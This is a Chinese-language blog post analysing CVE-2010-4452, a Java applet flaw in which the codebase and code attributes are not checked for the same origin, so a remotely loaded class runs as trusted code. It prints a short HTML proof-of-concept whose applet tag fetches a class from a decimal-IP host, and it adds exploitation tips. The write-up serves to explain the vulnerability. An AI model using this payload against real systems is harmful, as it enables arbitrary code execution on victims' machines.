cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞

本文介绍了一个存在于 Oracle Java Applet 中的远程代码执行漏洞,该漏洞允许攻击者通过恶意 Applet 执行任意代码。文章详细解释了漏洞原理及利用方式。

引用http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/

 

漏洞poc

 

<html>

<body>

<applet codebase="file:C:\ProgramFiles\java\jre6\lib\ext"code="http://3232235784:8080/WV2gkdWFXqOP" />

</body>

</html>

 

漏洞原理:

 

Applet有2个标签参数,codebase和code,codebase标签指定了要加载的class所在的位置,可以指定是网络上面或者本地。Code标签会被当作class 名字从codebase指定的位置进行加载。

 

但是呢codebase属性的值被当作class名字给URLConstructor进行解析时,又被当作了一个URL进行处理,因此指定这样的标签属性会从http://3232235784:8080/ 地址上加载一个http://3232235784:8080/WV2gkdWFXqOP.class类,并且将这个类认为是从codebase标签属性指定的位置加载的。由于C:\Program Files\java\jre6\lib\ext 目录下面是JRE自身的安装目录,该目录下面所有的类都是信任类,因此这个http://3232235784:8080/WV2gkdWFXqOP.class会当作信任的类进行执行,从而可以执行任意的代码在沙盒外面。

 

这个漏洞的根本原因是没有检测codebase标签属性和code标签属性是否是同一个协议,同一个主机和端口,从而导致可以从code标签属性加载类,而java会将加载的类当作codebase标签属性指定的位置加载的。

 

这里有个注意的 code标签属性里面的url中的.会被/ 取代,所以ip采用十进制的方式。

 

另外一个需要注意的地方,因为http://3232235784:8080/WV2gkdWFXqOP

 这样的类名默认情况下java是编译不通过的,这里通过修改编译好的class文件,将其class名改成上述既可以被jvm加载执行。

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值